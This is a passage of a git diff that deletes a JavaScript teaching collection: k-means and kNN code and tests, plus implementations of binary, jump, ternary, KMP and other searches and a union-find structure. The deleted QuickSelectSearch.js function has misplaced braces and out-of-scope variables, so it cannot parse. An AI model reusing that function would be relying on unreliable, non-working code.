-            KMeans([[1, 2], [1]], 2);
-        }).toThrowError('Matrices have different shapes');
-    });
-    it('should find the nearest neighbour', () => {
-        const data = [
-            [1, 1],
-            [6, 2],
-            [3, 3],
-            [4, 5],
-            [9, 2],
-            [2, 4],
-            [8, 7]
-        ];
-        const k = 2;
-        const expectedClusters = [0, 1, 0, 1, 1, 0, 1];
-        expect(KMeans(data, k)).toEqual(expectedClusters);
-        expect(
-            KMeans(
-                [
-                    [0, 0],
-                    [0, 1],
-                    [10, 10]
-                ],
-                2
-            )
-        ).toEqual([0, 0, 1]);
-    });
-    it('should find the clusters with equal distances', () => {
-        const dataSet = [
-            [0, 0],
-            [1, 1],
-            [2, 2]
-        ];
-        const k = 3;
-        const expectedCluster = [0, 1, 2];
-        expect(KMeans(dataSet, k)).toEqual(expectedCluster);
-    });
-    it('should find the nearest neighbour in 3D space', () => {
-        const dataSet = [
-            [0, 0, 0],
-            [0, 1, 0],
-            [2, 0, 2]
-        ];
-        const k = 2;
-        const expectedCluster = [1, 1, 0];
-        expect(KMeans(dataSet, k)).toEqual(expectedCluster);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/ml/knn/README.md b/docs/content/DS_ALGO/algorithms/ml/knn/README.md
deleted file mode 100644
index c05cb9496d..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/knn/README.md
+++ /dev/null
@@ -1,41 +0,0 @@
-# k-Nearest Neighbors Algorithm
-
-The **k-nearest neighbors algorithm (k-NN)** is a supervised Machine Learning algorithm. It's a classification algorithm, determining the class of a sample vector using a sample data.
-
-In k-NN classification, the output is a class membership. An object is classified by a plurality vote of its neighbors, with the object being assigned to the class most common among its `k` nearest neighbors (`k` is a positive integer, typically small). If `k = 1`, then the object is simply assigned to the class of that single nearest neighbor.
-
-The idea is to calculate the similarity between two data points on the basis of a distance metric. [Euclidean distance](https://en.wikipedia.org/wiki/Euclidean_distance) is used mostly for this task.
-
-![Euclidean distance between two points](https://upload.wikimedia.org/wikipedia/commons/5/55/Euclidean_distance_2d.svg)
-
-_Image source: [Wikipedia](https://en.wikipedia.org/wiki/Euclidean_distance)_
-
-The algorithm is as follows:
-
-1. Check for errors like invalid data/labels.
-2. Calculate the euclidean distance of all the data points in training data with the classification point
-3. Sort the distances of points along with their classes in ascending order
-4. Take the initial `K` classes and find the mode to get the most similar class
-5. Report the most similar class
-
-Here is a visualization of k-NN classification for better understanding:
-
-![KNN Visualization 1](https://upload.wikimedia.org/wikipedia/commons/e/e7/KnnClassification.svg)
-
-_Image source: [Wikipedia](https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm)_
-
-The test sample (green dot) should be classified either to blue squares or to red triangles. If `k = 3` (solid line circle) it is assigned to the red triangles because there are `2` triangles and only `1` square inside the inner circle. If `k = 5` (dashed line circle) it is assigned to the blue squares (`3` squares vs. `2` triangles inside the outer circle).
-
-Another k-NN classification example:
-
-![KNN Visualization 2](https://media.geeksforgeeks.org/wp-content/uploads/graph2-2.png)
-
-_Image source: [GeeksForGeeks](https://media.geeksforgeeks.org/wp-content/uploads/graph2-2.png)_
-
-Here, as we can see, the classification of unknown points will be judged by their proximity to other points.
-
-It is important to note that `K` is preferred to have odd values in order to break ties. Usually `K` is taken as `3` or `5`.
-
-## References
-
--   [k-nearest neighbors algorithm on Wikipedia](https://en.wikipedia.org/wiki/K-nearest_neighbors_algorithm)
diff --git a/docs/content/DS_ALGO/algorithms/ml/knn/kNN.js b/docs/content/DS_ALGO/algorithms/ml/knn/kNN.js
deleted file mode 100644
index e1fdd0bf58..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/knn/kNN.js
+++ /dev/null
@@ -1,51 +0,0 @@
-/**
- * Classifies the point in space based on k-nearest neighbors algorithm.
- *
- * @param {number[][]} dataSet - array of data points, i.e. [[0, 1], [3, 4], [5, 7]]
- * @param {number[]} labels - array of classes (labels), i.e. [1, 1, 2]
- * @param {number[]} toClassify - the point in space that needs to be classified, i.e. [5, 4]
- * @param {number} k - number of nearest neighbors which will be taken into account (preferably odd)
- * @return {number} - the class of the point
- */
-import euclideanDistance from '../../math/euclidean-distance/euclideanDistance';
-export default function kNN(dataSet, labels, toClassify, k = 3) {
-    if (!dataSet || !labels || !toClassify) {
-        throw new Error('Either dataSet or labels or toClassify were not set');
-    }
-    // Calculate distance from toClassify to each point for all dimensions in dataSet.
-    // Store distance and point's label into distances list.
-    const distances = [];
-    for (let i = 0; i < dataSet.length; i += 1) {
-        distances.push({
-            dist: euclideanDistance([dataSet[i]], [toClassify]),
-            label: labels[i]
-        });
-    }
-    // Sort distances list (from closer point to further ones).
-    // Take initial k values, count with class index
-    const kNearest = distances
-        .sort((a, b) => {
-            if (a.dist === b.dist) {
-                return 0;
-            }
-            return a.dist < b.dist ? -1 : 1;
-        })
-        .slice(0, k);
-    // Count the number of instances of each class in top k members.
-    const labelsCounter = {};
-    let topClass = 0;
-    let topClassCount = 0;
-    for (let i = 0; i < kNearest.length; i += 1) {
-        if (kNearest[i].label in labelsCounter) {
-            labelsCounter[kNearest[i].label] += 1;
-        } else {
-            labelsCounter[kNearest[i].label] = 1;
-        }
-        if (labelsCounter[kNearest[i].label] > topClassCount) {
-            topClassCount = labelsCounter[kNearest[i].label];
-            topClass = kNearest[i].label;
-        }
-    }
-    // Return the class with highest count.
-    return topClass;
-}
diff --git a/docs/content/DS_ALGO/algorithms/ml/knn/test/knn.test.js b/docs/content/DS_ALGO/algorithms/ml/knn/test/knn.test.js
deleted file mode 100644
index 29d714162f..0000000000
--- a/docs/content/DS_ALGO/algorithms/ml/knn/test/knn.test.js
+++ /dev/null
@@ -1,88 +0,0 @@
-import kNN from '../kNN';
-describe('kNN', () => {
-    it('should throw an error on invalid data', () => {
-        expect(() => {
-            kNN();
-        }).toThrowError('Either dataSet or labels or toClassify were not set');
-    });
-    it('should throw an error on invalid labels', () => {
-        const noLabels = () => {
-            kNN([[1, 1]]);
-        };
-        expect(noLabels).toThrowError('Either dataSet or labels or toClassify were not set');
-    });
-    it('should throw an error on not giving classification vector', () => {
-        const noClassification = () => {
-            kNN([[1, 1]], [1]);
-        };
-        expect(noClassification).toThrowError('Either dataSet or labels or toClassify were not set');
-    });
-    it('should throw an error on not giving classification vector', () => {
-        const inconsistent = () => {
-            kNN([[1, 1]], [1], [1]);
-        };
-        expect(inconsistent).toThrowError('Matrices have different shapes');
-    });
-    it('should find the nearest neighbour', () => {
-        let dataSet;
-        let labels;
-        let toClassify;
-        let expectedClass;
-        dataSet = [
-            [1, 1],
-            [2, 2]
-        ];
-        labels = [1, 2];
-        toClassify = [1, 1];
-        expectedClass = 1;
-        expect(kNN(dataSet, labels, toClassify)).toBe(expectedClass);
-        dataSet = [
-            [1, 1],
-            [6, 2],
-            [3, 3],
-            [4, 5],
-            [9, 2],
-            [2, 4],
-            [8, 7]
-        ];
-        labels = [1, 2, 1, 2, 1, 2, 1];
-        toClassify = [1.25, 1.25];
-        expectedClass = 1;
-        expect(kNN(dataSet, labels, toClassify)).toBe(expectedClass);
-        dataSet = [
-            [1, 1],
-            [6, 2],
-            [3, 3],
-            [4, 5],
-            [9, 2],
-            [2, 4],
-            [8, 7]
-        ];
-        labels = [1, 2, 1, 2, 1, 2, 1];
-        toClassify = [1.25, 1.25];
-        expectedClass = 2;
-        expect(kNN(dataSet, labels, toClassify, 5)).toBe(expectedClass);
-    });
-    it('should find the nearest neighbour with equal distances', () => {
-        const dataSet = [
-            [0, 0],
-            [1, 1],
-            [0, 2]
-        ];
-        const labels = [1, 3, 3];
-        const toClassify = [0, 1];
-        const expectedClass = 3;
-        expect(kNN(dataSet, labels, toClassify)).toBe(expectedClass);
-    });
-    it('should find the nearest neighbour in 3D space', () => {
-        const dataSet = [
-            [0, 0, 0],
-            [0, 1, 1],
-            [0, 0, 2]
-        ];
-        const labels = [1, 3, 3];
-        const toClassify = [0, 0, 1];
-        const expectedClass = 3;
-        expect(kNN(dataSet, labels, toClassify)).toBe(expectedClass);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/search/BinarySearch.js b/docs/content/DS_ALGO/algorithms/search/BinarySearch.js
deleted file mode 100644
index c6de164573..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/BinarySearch.js
+++ /dev/null
@@ -1,82 +0,0 @@
-/* Binary Search: https://en.wikipedia.org/wiki/Binary_search_algorithm
- *
- * Search a sorted array by repeatedly dividing the search interval
- * in half. Begin with an interval covering the whole array. If the value of the
- * search key is less than the item in the middle of the interval, narrow the interval
- * to the lower half. Otherwise narrow it to the upper half. Repeatedly check until the
- * value is found or the interval is empty.
- */
-function binarySearchRecursive(arr, x, low = 0, high = arr.length - 1) {
-    const mid = Math.floor(low + (high - low) / 2);
-    if (high >= low) {
-        if (arr[mid] === x) {
-            // item found => return its index
-            return mid;
-        }
-        if (x < arr[mid]) {
-            // arr[mid] is an upper bound for x, so if x is in arr => low <= x < mid
-            return binarySearchRecursive(arr, x, low, mid - 1);
-        } else {
-            // arr[mid] is a lower bound for x, so if x is in arr => mid < x <= high
-            return binarySearchRecursive(arr, x, mid + 1, high);
-        }
-    } else {
-        // if low > high => we have searched the whole array without finding the item
-        return -1;
-    }
-}
-function binarySearchIterative(arr, x, low = 0, high = arr.length - 1) {
-    while (high >= low) {
-        const mid = Math.floor(low + (high - low) / 2);
-        if (arr[mid] === x) {
-            // item found => return its index
-            return mid;
-        }
-        if (x < arr[mid]) {
-            // arr[mid] is an upper bound for x, so if x is in arr => low <= x < mid
-            high = mid - 1;
-        } else {
-            // arr[mid] is a lower bound for x, so if x is in arr => mid < x <= high
-            low = mid + 1;
-        }
-    }
-    // if low > high => we have searched the whole array without finding the item
-    return -1;
-}
-export { binarySearchIterative, binarySearchRecursive };
-/* ---------------------------------- Test ---------------------------------- */
-// const arr = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
-// const stringArr = [
-//   'Alpha',
-//   'Bravo',
-//   'Charlie',
-//   'Delta',
-//   'Echo',
-//   'Foxtrot',
-//   'Golf',
-//   'Hotel',
-//   'India',
-//   'Juliet',
-//   'Kilo',
-//   'Lima',
-//   'Mike',
-//   'November',
-//   'Oscar',
-//   'Papa',
-//   'Quebec',
-//   'Romeo',
-//   'Sierra',
-//   'Tango',
-//   'Uniform',
-//   'Victor',
-//   'Whiskey',
-//   'X-Ray',
-//   'Yankee',
-//   'Zulu'
-// ]
-// binarySearchRecursive(arr, 3)
-// binarySearchIterative(arr, 7)
-// binarySearchRecursive(arr, 13)
-// binarySearchIterative(stringArr, 'Charlie')
-// binarySearchRecursive(stringArr, 'Zulu')
-// binarySearchIterative(stringArr, 'Sierra')
diff --git a/docs/content/DS_ALGO/algorithms/search/ExponentialSearch.js b/docs/content/DS_ALGO/algorithms/search/ExponentialSearch.js
deleted file mode 100644
index 4a67fd5937..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/ExponentialSearch.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * Exponential Search
- *
- * The algorithm consists of two stages. The first stage determines a
- * range in which the search key would reside if it were in the list.
- * In the second stage, a binary search is performed on this range.
- *
- *
- *
- */
-function binarySearch(arr, value, floor, ceiling) {
-    // Middle index
-    const mid = Math.floor((floor + ceiling) / 2);
-    // If value is at the mid position return this position
-    if (arr[mid] === value) {
-        return mid;
-    }
-    if (floor > ceiling) return -1;
-    // If the middle element is great than the value
-    // search the left part of the array
-    if (arr[mid] > value) {
-        return binarySearch(arr, value, floor, mid - 1);
-        // If the middle element is lower than the value
-        // search the right part of the array
-    } else {
-        return binarySearch(arr, value, mid + 1, ceiling);
-    }
-}
-function exponentialSearch(arr, length, value) {
-    // If value is the first element of the array return this position
-    if (arr[0] === value) {
-        return 0;
-    }
-    // Find range for binary search
-    let i = 1;
-    while (i < length && arr[i] <= value) {
-        i = i * 2;
-    }
-    // Call binary search for the range found above
-    return binarySearch(arr, value, i / 2, Math.min(i, length));
-}
-export { binarySearch, exponentialSearch };
-// const arr = [2, 3, 4, 10, 40, 65, 78, 100]
-// const value = 78
-// const result = exponentialSearch(arr, arr.length, value)
diff --git a/docs/content/DS_ALGO/algorithms/search/FibonacciSearch.js b/docs/content/DS_ALGO/algorithms/search/FibonacciSearch.js
deleted file mode 100644
index 503d16cfa1..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/FibonacciSearch.js
+++ /dev/null
@@ -1,70 +0,0 @@
-/****************************************************************************
- * Fibonacci Search JavaScript Implementation
- * Author   Alhassan Atama Isiaka
- * Version v1.0.0
- * Copyright 2020
- * https://github.com/komputarist
- *
- * This implementation is based on Generalizing the Fibonacci search we
- * define the Fibonacci search of degree K. Like the Fibonacci search,
- * which it reduces to for K = 2, the Fibonacci search of degree K
- * involves only addition and subtraction.
- *  Capocelli R.M. (1991) A Generalization of the Fibonacci Search. In:
- * Bergum G.E., Philippou A.N., Horadam A.F. (eds) Applications of Fibonacci
- * Numbers. Springer, Dordrecht. https://doi.org/10.1007/978-94-011-3586-3_9
- *
- * This snippet is free. Feel free to improve on it
- *
- * We define a function fibonacciSearch() that takes an array of numbers,
- * the item (number) to be searched for and the length of the items in the array
- ****************************************************************************/
-export const fibonacciSearch = (arr, x, n) => {
-    let fib2 = 0; // (K-2)'th Fibonacci Number
-    let fib1 = 1; // (K-1)'th Fibonacci Number.
-    let fibK = fib2 + fib1; // Kth Fibonacci
-    /* We want to store the smallest fibonacci number smaller such that
-    number is greater than or equal to n, we use fibK for this */
-    while (fibK < n) {
-        fib2 = fib1;
-        fib1 = fibK;
-        fibK = fib2 + fib1;
-    }
-    //  This marks the eliminated range from front
-    let offset = -1;
-    /* while there are elements to be checked. We compare arr[fib2] with x.
-    When fibM becomes 1, fib2 becomes 0 */
-    while (fibK > 1) {
-        // Check if fibK is a valid location
-        const i = Math.min(offset + fib2, n - 1);
-        /*  If x is greater than the value at
-      index fib2, Partition the subarray array
-      from offset to i */
-        if (arr[i] < x) {
-            fibK = fib1;
-            fib1 = fib2;
-            fib2 = fibK - fib1;
-            offset = i;
-            /* If x is greater than the value at
-            index fib2, cut the subarray array
-            from offset to i */
-        } else if (arr[i] > x) {
-            fibK = fib2;
-            fib1 = fib1 - fib2;
-            fib2 = fibK - fib1;
-        } else {
-            //  return index for found element
-            return i;
-        }
-    }
-    //    comparing the last element with x */
-    if (fib1 && arr[offset + 1] === x) {
-        return offset + 1;
-    }
-    //    element not found. return -1
-    return -1;
-};
-// Example
-// const myArray = [10, 22, 35, 40, 45, 50, 80, 82, 85, 90, 100]
-// const n = myArray.length
-// const x = 90
-// const fibFinder = fibonacciSearch(myArray, x, n)
diff --git a/docs/content/DS_ALGO/algorithms/search/InterpolationSearch.js b/docs/content/DS_ALGO/algorithms/search/InterpolationSearch.js
deleted file mode 100644
index c38142f868..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/InterpolationSearch.js
+++ /dev/null
@@ -1,39 +0,0 @@
-/**
- * Interpolation Search
- *
- * Time Complexity:
- * -Best case: O(1)
- * -Worst case: O(n)
- * -O((log(log(n))) If the data are uniformly distributed
- *
- *
- */
-export function interpolationSearch(arr, key) {
-    const length = arr.length - 1;
-    let low = 0;
-    let high = length;
-    let position = -1;
-    let delta = -1;
-    // Because the array is sorted the key must be between low and high
-    while (low <= high && key >= arr[low] && key <= arr[high]) {
-        delta = (key - arr[low]) / (arr[high] - arr[low]);
-        position = low + Math.floor((high - low) * delta);
-        // Target found return its position
-        if (arr[position] === key) {
-            return position;
-        }
-        // If the key is larger then it is in the upper part of the array
-        if (arr[position] < key) {
-            low = position + 1;
-            // If the key is smaller then it is in the lower part of the array
-        } else {
-            high = position - 1;
-        }
-    }
-    return -1;
-}
-// const arr = [2, 6, 8, 10, 12, 14, 16, 18, 20, 22, 26, 34, 39]
-// interpolationSearch(arr, 2)
-// interpolationSearch(arr, 12)
-// interpolationSearch(arr, 1000)
-// interpolationSearch(arr, 39)
diff --git a/docs/content/DS_ALGO/algorithms/search/JumpSearch.js b/docs/content/DS_ALGO/algorithms/search/JumpSearch.js
deleted file mode 100644
index b57ffc25cd..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/JumpSearch.js
+++ /dev/null
@@ -1,33 +0,0 @@
-/* The Jump Search algorithm allows to combine a linear search with a speed optimization.
- * This means that instead of going 1 by 1, we will increase the step of √n and increase that
- * step of √n which make the step getting bigger and bigger.
- * The asymptotic analysis of Jump Search is o(√n). Like the binary search, it needs to be sorted.
- * The advantage against binary search is that Jump Search traversed back only once.
- */
-const jumpSearch = (arr, value) => {
-    const length = arr.length;
-    let step = Math.floor(Math.sqrt(length));
-    let lowerBound = 0;
-    while (arr[Math.min(step, length) - 1] < value) {
-        lowerBound = step;
-        step += step;
-        if (lowerBound >= length) {
-            return -1;
-        }
-    }
-    const upperBound = Math.min(step, length);
-    while (arr[lowerBound] < value) {
-        lowerBound++;
-        if (lowerBound === upperBound) {
-            return -1;
-        }
-    }
-    if (arr[lowerBound] === value) {
-        return lowerBound;
-    }
-    return -1;
-};
-const arr = [0, 0, 4, 7, 10, 23, 34, 40, 55, 68, 77, 90];
-jumpSearch(arr, 4);
-jumpSearch(arr, 34);
-jumpSearch(arr, 77);
diff --git a/docs/content/DS_ALGO/algorithms/search/LinearSearch.js b/docs/content/DS_ALGO/algorithms/search/LinearSearch.js
deleted file mode 100644
index 35fe308b9f..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/LinearSearch.js
+++ /dev/null
@@ -1,28 +0,0 @@
-/*
- * Linear search or sequential search is a method for finding a target
- * value within a list. It sequentially checks each element of the list
- * for the target value until a match is found or until all the elements
- * have been searched.
- */
-function SearchArray(searchNum, ar, output = (v) => console.log(v)) {
-    const position = Search(ar, searchNum);
-    if (position !== -1) {
-        output('The element was found at ' + (position + 1));
-    } else {
-        output('The element not found');
-    }
-}
-// Search "theArray" for the specified "key" value
-function Search(theArray, key) {
-    for (let n = 0; n < theArray.length; n++) {
-        if (theArray[n] === key) {
-            return n;
-        }
-    }
-    return -1;
-}
-export { SearchArray, Search };
-// const ar = [1, 2, 3, 4, 5, 6, 7, 8, 9]
-// SearchArray(3, ar)
-// SearchArray(4, ar)
-// SearchArray(11, ar)
diff --git a/docs/content/DS_ALGO/algorithms/search/QuickSelectSearch.js b/docs/content/DS_ALGO/algorithms/search/QuickSelectSearch.js
deleted file mode 100644
index 0a8d4bb07c..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/QuickSelectSearch.js
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Places the `k` smallest elements in `array` in the first `k` indices: `[0..k-1]`
- * Modifies the passed in array *in place*
- * Returns a slice of the wanted elements for convenience
- * Efficient mainly because it never performs a full sort.
- *
- * The only guarantees are that:
- *
- * - The `k`th element is in its final sort index (if the array were to be sorted)
- * - All elements before index `k` are smaller than the `k`th element
- *
- * [Reference](http://en.wikipedia.org/wiki/Quickselect)
- */
-export function quickSelectSearch(array, k) {
-    if (!array || array.length <= k) {
-        throw new Error('Invalid arguments');
-    }
-    let from = 0;
-    let to = array.length - 1;
-    while (from < to) {
-        let left = from;
-        let right = to;
-        const pivot = array[Math.ceil((left + right) * 0.5)];
-        while (left < right) {
-            if (array[left] >= pivot) {
-                const tmp = array[left];
-                array[left] = array[right];
-                array[right] = tmp;
-                --right;
-            } else {}++left;
-        }
-    }
-    if (array[left] > pivot) {
-        --left;
-    }
-    if (k <= left) {
-        to = left;
-    } else {
-        from = left + 1;
-    }
-}
-return array;
-}
-/* ---------------------------------- Test ---------------------------------- */
-// const arr = [1121111, 21, 333, 41, 5, 66, 7777, 28, 19, 11110]
-// quickSelectSearch(arr, 5) // [ 19, 21, 28, 41, 5, 66, 333, 11110, 1121111, 7777 ]
-// quickSelectSearch(arr, 2) // [ 19, 5, 21, 41, 28, 333, 11110, 1121111, 7777, 66 ]
-// quickSelectSearch(arr, 7) // [ 19, 5, 21, 41, 28, 66, 333, 7777, 11110, 1121111 ]
diff --git a/docs/content/DS_ALGO/algorithms/search/SlidingWindow.js b/docs/content/DS_ALGO/algorithms/search/SlidingWindow.js
deleted file mode 100644
index 1a9721c89f..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/SlidingWindow.js
+++ /dev/null
@@ -1,45 +0,0 @@
-/**
- * Sliding Window:
- * This pattern involve creating a window which can either be
- * an array or numbers from one position to another.
- *
- * Depending on a certain condition, the window either increases
- * or closes (and a new window is created).
- *
- * Very useful for keeping track of a subset of data in an
- * array/string etc.
- *
- * Time Complexity: Best - O(n);
- *
- * Examples:
- * maxSubarraySum([1,2,5,2,8,1,5],2) // returns 10
- * maxSubarraySum([1,2,5,2,8,1,5],15) // returns null
- * maxSubarraySum([5,2,6,9],3) // returns 17
- * @param {[Int]} arr - An array of integers on which we will perform the test.
- * @param {Int} num - An integer that displays the size of the window you want to check.
- * @returns {Int / Null} - Returns a total of N consecutive numbers or null
- */
-function slidingWindow(arr, num) {
-    // Edge Case:
-    // If the length of the array shorter than the window size (num) return null.
-    if (arr.length < num) return null;
-    // The highest amount of consecutive numbers
-    let maxSum = 0;
-    // Temp amount of consecutive numbers - For comparative purposes
-    let tempSum = 0;
-    // loop over the array {num} times and save their total amount in {maxSum}
-    for (let i = 0; i < num; i++) {
-        maxSum += arr[i];
-    }
-    // initialize {tempSum} to {maxSum}.
-    tempSum = maxSum;
-    // loop over the array n times
-    for (let i = num; i < arr.length; i++) {
-        // Add the next num in the array and remove the first one
-        tempSum = tempSum - arr[i - num] + arr[i];
-        // save the largest number between {maxNum} and {tempNum} in maxSum.
-        maxSum = Math.max(maxSum, tempSum);
-    }
-    return maxSum;
-}
-export { slidingWindow };
diff --git a/docs/content/DS_ALGO/algorithms/search/StringSearch.js b/docs/content/DS_ALGO/algorithms/search/StringSearch.js
deleted file mode 100644
index 8e91c5434c..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/StringSearch.js
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * String Search
- */
-function makeTable(str) {
-    // create a table of size equal to the length of `str`
-    // table[i] will store the prefix of the longest prefix of the substring str[0..i]
-    const table = new Array(str.length);
-    let maxPrefix = 0;
-    // the longest prefix of the substring str[0] has length
-    table[0] = 0;
-    // for the substrings the following substrings, we have two cases
-    for (let i = 1; i < str.length; i++) {
-        // case 1. the current character doesn't match the last character of the longest prefix
-        while (maxPrefix > 0 && str.charAt(i) !== str.charAt(maxPrefix)) {
-            // if that is the case, we have to backtrack, and try find a character  that will be equal to the current character
-            // if we reach 0, then we couldn't find a character
-            maxPrefix = table[maxPrefix - 1];
-        }
-        // case 2. The last character of the longest prefix matches the current character in `str`
-        if (str.charAt(maxPrefix) === str.charAt(i)) {
-            // if that is the case, we know that the longest prefix at position i has one more character.
-            // for example consider `.` be any character not contained in the set [a.c]
-            // str = abc....abc
-            // consider `i` to be the last character `c` in `str`
-            // maxPrefix = will be 2 (the first `c` in `str`)
-            // maxPrefix now will be 3
-            maxPrefix++;
-            // so the max prefix for table[9] is 3
-        }
-        table[i] = maxPrefix;
-    }
-    return table;
-}
-// Find all the words that matches in a given string `str`
-export function stringSearch(str, word) {
-    // find the prefix table in O(n)
-    const prefixes = makeTable(word);
-    const matches = [];
-    // `j` is the index in `P`
-    let j = 0;
-    // `i` is the index in `S`
-    let i = 0;
-    while (i < str.length) {
-        // Case 1.  S[i] == P[j] so we move to the next index in `S` and `P`
-        if (str.charAt(i) === word.charAt(j)) {
-            i++;
-            j++;
-        }
-        // Case 2.  `j` is equal to the length of `P`
-        // that means that we reached the end of `P` and thus we found a match
-        // Next we have to update `j` because we want to save some time
-        // instead of updating to j = 0 , we can jump to the last character of the longest prefix well known so far.
-        // j-1 means the last character of `P` because j is actually `P.length`
-        // e.g.
-        // S =  a b a b d e
-        // P = `a b`a b
-        // we will jump to `a b` and we will compare d and a in the next iteration
-        // a b a b `d` e
-        //     a b `a` b
-        if (j === word.length) {
-            matches.push(i - j);
-            j = prefixes[j - 1];
-            // Case 3.
-            // S[i] != P[j] There's a mismatch!
-        } else if (str.charAt(i) !== word.charAt(j)) {
-            // if we  found at least a character in common, do the same thing as in case 2
-            if (j !== 0) {
-                j = prefixes[j - 1];
-            } else {
-                // else j = 0, and we can move to the next character S[i+1]
-                i++;
-            }
-        }
-    }
-    return matches;
-}
-// stringSearch('Hello search the position of me', 'pos')
\ No newline at end of file
diff --git a/docs/content/DS_ALGO/algorithms/search/TernarySearch.js b/docs/content/DS_ALGO/algorithms/search/TernarySearch.js
deleted file mode 100644
index 492f45bb3b..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/TernarySearch.js
+++ /dev/null
@@ -1,79 +0,0 @@
-/* Ternary search is similar to binary search but it divide the sorted array
- * into three parts and determine which part the key lies in. The array will
- * be divided into three intervals by using two middle points, mid1 and mid2.
- * The value of the key will first compared with the two mid points, the value
- * will be returned if there is a match. Then, if the value of the key is less
- * than mid1, narrow the interval to the first part. Else, if the value of the
- * key is greater than mid2, narrow the interval to the third part. Otherwise,
- * narrow the interval to the middle part. Repeat the steps until the value is
- * found or the interval is empty(value not found after checking all elements).
- *
- * Reference: https://www.geeksforgeeks.org/ternary-search/
- */
-function ternarySearchRecursive(arr, key, low = 0, high = arr.length - 1) {
-    if (high >= low) {
-        // find the mid1 and mid2
-        const mid1 = Math.floor(low + (high - low) / 3);
-        const mid2 = Math.floor(high - (high - low) / 3);
-        // check if key is found at any mid
-        if (arr[mid1] === key) {
-            // return index of key if found
-            return mid1;
-        }
-        if (arr[mid2] === key) {
-            // return index of key if found
-            return mid2;
-        }
-        // since the key is not found at mid,
-        // check in which region it is present
-        // and repeat the Search operation
-        // in that region
-        if (key < arr[mid1]) {
-            // the key lies in between low and mid1
-            return ternarySearchRecursive(arr, key, low, mid1 - 1);
-        } else if (key > arr[mid2]) {
-            // the key lies in between mid2 and high
-            return ternarySearchRecursive(arr, key, mid2 + 1, high);
-        } else {
-            // the key lies in between mid1 and mid2
-            return ternarySearchRecursive(arr, key, mid1 + 1, mid2 - 1);
-        }
-    } else {
-        // if low > high => we have searched the whole array without finding the item
-        return -1;
-    }
-}
-function ternarySearchIterative(arr, key, low = 0, high = arr.length - 1) {
-    while (high >= low) {
-        // find the mid1 and mid2
-        const mid1 = Math.floor(low + (high - low) / 3);
-        const mid2 = Math.floor(high - (high - low) / 3);
-        // check if key is found at any mid
-        if (arr[mid1] === key) {
-            // return index of key if found
-            return mid1;
-        }
-        if (arr[mid2] === key) {
-            // return index of key if found
-            return mid2;
-        }
-        // since the key is not found at mid,
-        // check in which region it is present
-        // and repeat the Search operation
-        // in that region
-        if (key < arr[mid1]) {
-            // the key lies in between low and mid1
-            high = mid1 - 1;
-        } else if (key > arr[mid2]) {
-            // the key lies in between mid2 and high
-            low = mid2 + 1;
-        } else {
-            // the key lies in between mid1 and mid2
-            low = mid1 + 1;
-            high = mid2 - 1;
-        }
-    }
-    // the key was not found
-    return -1;
-}
-export { ternarySearchRecursive, ternarySearchIterative };
diff --git a/docs/content/DS_ALGO/algorithms/search/UnionFind.js b/docs/content/DS_ALGO/algorithms/search/UnionFind.js
deleted file mode 100644
index fba098b4a4..0000000000
--- a/docs/content/DS_ALGO/algorithms/search/UnionFind.js
+++ /dev/null
@@ -1,85 +0,0 @@
-/**
- * union find data structure for javascript
- *
- * In computer science, a disjoint-set data structure, also called a union-find data structure or merge-find set,
- * is a data structure that stores a collection of disjoint (non-overlapping) sets. Equivalently, it stores a partition
- * of a set into disjoint subsets. It provides operations for adding new sets, merging sets (replacing them by their union),
- * and finding a representative member of a set.
- * The last operation allows to find out efficiently if any two elements are in the same or different sets.
- *
- * Disjoint-set data structures play a key role in Kruskal's algorithm for finding the minimum spanning tree of a graph.
- * The importance of minimum spanning trees means that disjoint-set data structures underlie a wide variety of algorithms.
- * In addition, disjoint-set data structures also have applications to symbolic computation, as well in compilers,
- * especially for register allocation problems.
- *
- * you can learn more on disjoint-set / union-find data structure at https://en.wikipedia.org/wiki/Disjoint-set_data_structure
- */
-function UnionFind(n, key) {
-    if (!(this instanceof UnionFind)) return new UnionFind(n);
-    if (key && typeof key !== 'function') {
-        throw new Error('key has to be a function or else left undefined');
-    }
-    let cnt, length;
-    // init Union Find with number of distinct groups. Each group will be referred to as index of the array of size 'size' starting at 0.
-    // Provide an optional key function that maps these indices. I.e. for the groups starting with 1 provide function(a){return a-1;}. The default value is function(a){return a;}.
-    key =
-        key ||
-        function (a) {
-            return a;
-        };
-    cnt = length = n;
-    const id = new Array(n);
-    const sz = new Array(n);
-    for (let i = 0; i < n; i++) {
-        id[i] = i;
-        sz[i] = 1;
-    }
-    // Returns the number of elements of uf object.
-    this.size = function () {
-        return length;
-    };
-    // Returns the number of distinct groups left inside the object.
-    this.count = function () {
-        return cnt;
-    };
-    // Return the root (value) of the group in which p is.
-    this.find = function (p) {
-        p = key(p);
-        while (p !== id[p]) {
-            id[p] = id[id[p]];
-            p = id[p];
-        }
-        return p;
-    };
-    // Returns true if p and p are both in same group, false otherwise.
-    this.connected = function (p, q) {
-        p = key(p);
-        q = key(q);
-        ensureIndexWithinBounds(p, q);
-        return this.find(p) === this.find(q);
-    };
-    // Combine elements in groups p and q into a single group. In other words connect the two groups.
-    this.union = function (p, q) {
-        p = key(p);
-        q = key(q);
-        ensureIndexWithinBounds(p, q);
-        const i = this.find(p);
-        const j = this.find(q);
-        if (i === j) return;
-        if (sz[i] < sz[j]) {
-            id[i] = j;
-            sz[j] += sz[i];
-        } else {
-            id[j] = i;
-            sz[i] += sz[j];
-        }
-        cnt--;
-    };
-    function ensureIndexWithinBounds(args) {
-        for (let i = arguments.length - 1; i >= 0; i--) {
-            const p = arguments[i];
-            if (p >= length) throw new Error('Index out of bounds. The maximum index can be length-1');
-        }
-    }
-}
-export { UnionFind };
